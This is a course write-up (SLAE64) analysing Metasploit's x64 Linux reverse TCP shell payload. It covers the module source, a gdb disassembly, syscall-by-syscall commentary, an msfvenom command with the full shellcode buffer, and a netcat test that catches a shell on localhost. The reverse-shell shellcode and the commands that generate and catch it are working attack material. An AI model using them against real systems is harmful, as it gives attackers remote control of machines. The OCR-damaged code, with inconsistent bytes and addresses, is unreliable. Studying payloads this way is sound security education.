Reverse TCP shellcode analysis , slae64 - 1337

Code in metasploit file:

```
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
 def initialize(info = {})
  super(merge info(info,
   'Name'
            => 'Linux Command Shell, Reverse TCP Inline',
   'Description' => 'Connect back to attacker and spawn a command shell',
            => 'ricky',
   'Author'
              => MSF_LICENSE,
   'License'
   'Platform' => 'linux',
   'Arch'
             => ARCH_X86_64,
   'Handler' => Msf::Handler::ReverseTcp,
   'Session'
              => Msf::Sessions::CommandShellUnix,
   'Payload'
     'Offsets' =>
       'LHOST' => [ 20, 'ADDR' ],
       'LPORT' => [ 18, 'n' ],
      },
     'Payload' =>
      "\x6a\x29"
                           + # pushq $0x29
      "\x58"
                         + # pop %rax
      "\x99"
                         + # cltd
      "\x6a\x02"
                         + # pushq $0x2
                         +#pop %rdi
      "\x5f"
      "\x6a\x01"
                           + # pushq $0x1
      "\x5e"
                         + # pop %rsi
      "\x0f\x05"
                           + # syscall
      "\x48\x97"
                           + # xchg %rax,%rdi
      "\x48\xb9\x02\x00"
                               + # movabs $0x100007fb3150002,%rcx
      "\x15\xb3"
                          +#
      "\x7f\x00\x00\x01"
                              +#
      "\x51"
                         + # push %rcx
      "\x48\x89\xe6"
                            + # mov %rsp,%rsi
       "\x6a\x10"
                            + # pushq $0x10
      "\x5a"
                         + # pop %rdx
      "\x6a\x2a"
                           + # pushq $0x2a
      "\x58"
                         + # pop %rax
      "\x0f\x05"
                           + # syscall
      "\x6a\x03"
                           + # pushq $0x3
      "\x5e"
                         + # pop %rsi
       "\x48\xff\xce"
                             + # dec %rsi
       "\x6a\x21"
                             + # pushq $0x21
```

```
"\x58"
                          + # pop
                                   %rax
      "\x0f\x05"
                           + # syscall
      "\x75\xf6"
                          + # jne 27 <dup2_loop>
      "\x6a\x3b"
                           + # pushq $0x3b
      "\x58"
                         + # pop %rax
      "\x99"
                         + # cltd
      "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
      "\x73\x68\x00"
                            +#
      "\x48\x89\xe7" +# mov %i
+# push %rdx
                            + # mov %rsp,%rdi
                         + # push %rdi
      "\x48\x89\xe6"
                            + # mov %rsp,%rsi
      "\x0f\x05"
                            # syscall
  ))
end
end
```

Code output with gdb:

```
# gdb shellcode
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/>...">http://www.gnu.org/software/gdb/bugs/>...</a>
Reading symbols from /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode...(no debugging symbols
found)...done.
(gdb) b *&code
Breakpoint 1 at 0x600980
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode
Shellcode Length: 17
Breakpoint 1, 0x000000000000080 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x00000000000600980 <+0>: push 0x29
 0x0000000000600982 <+2>:
                                pop rax
 0x0000000000600983 <+3>:
                                cdq
                                push 0x2
 0x0000000000600984 <+4>:
 0x0000000000600986 <+6>:
                                pop rdi
 0x0000000000600987 <+7>:
                                push 0x1
 0x00000000000600989 <+9>:
                                pop rsi
 0x0000000000060098a <+10>:
                               syscall
 0x0000000000060098c <+12>: xchg rdi,rax
 0x0000000000060098e <+14>: movabs rcx,0x8e0ba8c05c110002
 0x00000000000600998 <+24>: push rcx
 0x00000000000600999 <+25>: mov rsi,rsp
 0x000000000060099c <+28>: push 0x10
 0x000000000060099e <+30>:
                               pop rdx
 0x0000000000060099f <+31>:
                                push 0x2a
 0x000000000006009a1 <+33>:
                                pop rax
 0x000000000006009a2 <+34>:
                                syscall
```

```
0x000000000006009a4 <+36>:
                           push 0x3
 0x00000000006009a6 <+38>:
                           pop rsi
 0x00000000006009a7 <+39>:
                           dec rsi
 0x000000000006009aa <+42>: push 0x21
 0x00000000006009ac <+44>: pop rax
 0x000000000000009ad <+45>: syscall
 0x000000000006009af <+47>:
                           jne 0x6009a7 <code+39>
 0x00000000006009b1 <+49>:
                           push 0x3b
 0x00000000006009b3 <+51>:
                            pop rax
 0x00000000006009b4 <+52>:
                            cdq
                           movabs rbx,0x68732f6e69622f
 0x00000000006009b5 <+53>:
                           push rbx
 0x000000000006009bf <+63>:
 0x00000000006009c0 <+64>:
                           mov rdi,rsp
 0x000000000006009c3 <+67>: push rdx
 0x00000000006009c4 <+68>: push rdi
 0x00000000006009c5 <+69>: mov rsi,rsp
 0x00000000006009c8 <+72>: syscall
 0x000000000006009ca <+74>: add BYTE PTR [rax],al
End of assembler dump.
```

Code analysis step by step:

```
<+0>: push 0x29
<+2>: pop rax
<+3>: cdq
<+4>: push 0x2
<+6>: pop rdi
<+7>: push 0x1
<+9>:pop rsi
<+10>:syscall
    <+0>push 0x29
    <+2> pop rax
                          move value 0x29 (41) to rax thought the stack
      <+3>cdq
                           set rdx to zero
      <+4>push 0x2
                            move value 0x2 to rdi thought the stack
      <+6> pop rdi
     <+7>push 0x1
     <+9> pop rsi
                           move value 0x1 to rsi thought the stack
                           syscall 41 = socket syscall
     <+10> syscall
```

prototype of function socket get by command: "man 2 socket"

int socket(int domain, int type, int protocol);

```
domain → rdi
type → rsi
protocol \rightarrow rdx
```

definition get by the command "man 2 socket"

socket() creates an endpoint for communication and returns a descriptor.

```
rax get the return value (sockfd)
The value of rdi is 2, 2 correspond to AF_INET
The value of rsi is 1, 1 correspond to SOCK_STREAM
The value of rdx is 0, 0 correspond to TCP
```

(You can get this value using python and socket module)

Finally the function call look-like this:

```
"rax" \leftarrow socket("rdi = 2"," rsi = 1", "rdx = 0");
```

Next couple of instructions:

```
<+12>:
           xchg rdi,rax
<+14>:
           movabs rcx,0x100007fb3150002
<+24>:
           push rcx
<+25>:
           mov rsi,rsp
<+28>:
           push 0x10
<+30>:
           pop rdx
           push 0x2a
<+31>:
<+33>:
           pop rax
           syscall
<+34>:
```

Prototype of the connect function:

```
rdi → sockfd
rsi → *addr
rdx → addrlen
```

Remember how is fill struct sockaddr *addr:

```
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
```

;in this case inet_addr in hex is 1000007fb (reverse order) correspond at the 4 upperbytes of value moved to rcx

0x100007fb3150002

; server.sin_port = b315 in network byte order , in integer b315 = 45845 with socket.ntohs(45845) in python the value in little endian is 5555 correspond to 0x100007fb3150002

```
; server.sin_family = AF_INET = 2 correspond to 0x100007fb3150002
; bzero(&server.sin_zero, 8) = 8 null bytes

shellcode connect to localhost in 5555 port ...

<+28>:push 0x10 size of *addr to rdx,(16 bytes)
```

```
<+28>:push 0x10
<+30>:pop rdx
<+31>:push 0x2a
<+33>:pop rax
<+34>:syscall

size of *addr to rdx,(16 bytes)

size of *addr to rdx,(16 bytes)
```

Next couple of instructions:

```
<+36>:
           push 0x3
<+38>:
           pop rsi
<+39>:
           dec rsi
<+42>:
           push 0x21
<+44>:
           pop rax
                              we see a syscall, dup2 function (syscall number 33)
<+45>:
           syscall
ine 0x6009a9 <code+41>
                              --> ine 27 <dup2 loop>
                                                          in metasploit file
```

Prototype of the dup2 function given by "man 2 dup2"

```
int dup2(int oldfd, int newfd);
```

Explanation given by the manual

These system calls create a copy of the file descriptor oldfd.

dup2 copy stdin, stderr, stdout, duplicate to send to the "attacker machine".

```
jne 27 <dup2_loop> jne not equal pass control to the next instruction if the zero-flag is
```

set , in this case zero flag is set if ${\bf rsi}$ == 0 , (${\bf rsi}$ have the new sockfd value) the loop start in this instruction

```
<+41> dec rsi
```

Next couple of instructions:

This is THE syscall, execve syscall

```
<+49> push 0x3b
<+51>pop rax
<+52> cdq
<+53> mov rbx, 0x68732f6e69622f
|<+63> push rbx
<+64> mov rdi, rsp
<+67> push rdx
<+68> push rdi
<+69> mov rsi, rsp
<+72> syscall
```

move value 0x3b (59) to **rax** thought the stack **rdx** set to null move string **"/bin/sh"** in reverse order to **rbx** and push it into the stack move stack pointer to rdi **rdx** pushed into the stack address of **"bin/sh"** pushed into the stack and moved to **rdi**

Finally the function call look-like this:

```
execve (rdi <<"/bin/sh">>, rsi <<address of "/bin/sh">>, rdx = 0);
```

Finally, how to test the shellcode:

shellcode given by msfvenom command:

:~# msfvenom -p linux/x64/shell_reverse_tcp -f c

```
unsigned char buf[] =
```

"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"

"\xb9\x02\x00\x11\x5c\xc0\xa8\x0b\x8e\x51\x48\x89\xe6\x6a\x10"

 $"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"$

"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"

"*x73**x68**x00**x53**x48**x89**xe7**x52**x57**x48**x89**xe6**x0f**x05*";

compile with the squelette program to test shellcode:

open listener with netcat

nc -l -p 5555 -v

Execute the shellcode and get the shell trough netcat:

#./shellcode

```
nc: listening on :: 5555 ...
nc: listening on 0.0.0.0 5555 ...
nc: connect to 127.0.0.1 5555 from localhost (127.0.0.1) 34134 [34134]
ps
PID TTY TIME CMD
5503 pts/2 00:00:00 bash
6030 pts/2 00:00:00 sh
6031 pts/2 00:00:00 ps
pwd
/root/Desktop/Exam/Assignment5/Reverse_TCP
exiit
/bin/sh: 3: exiit: not found
exit
```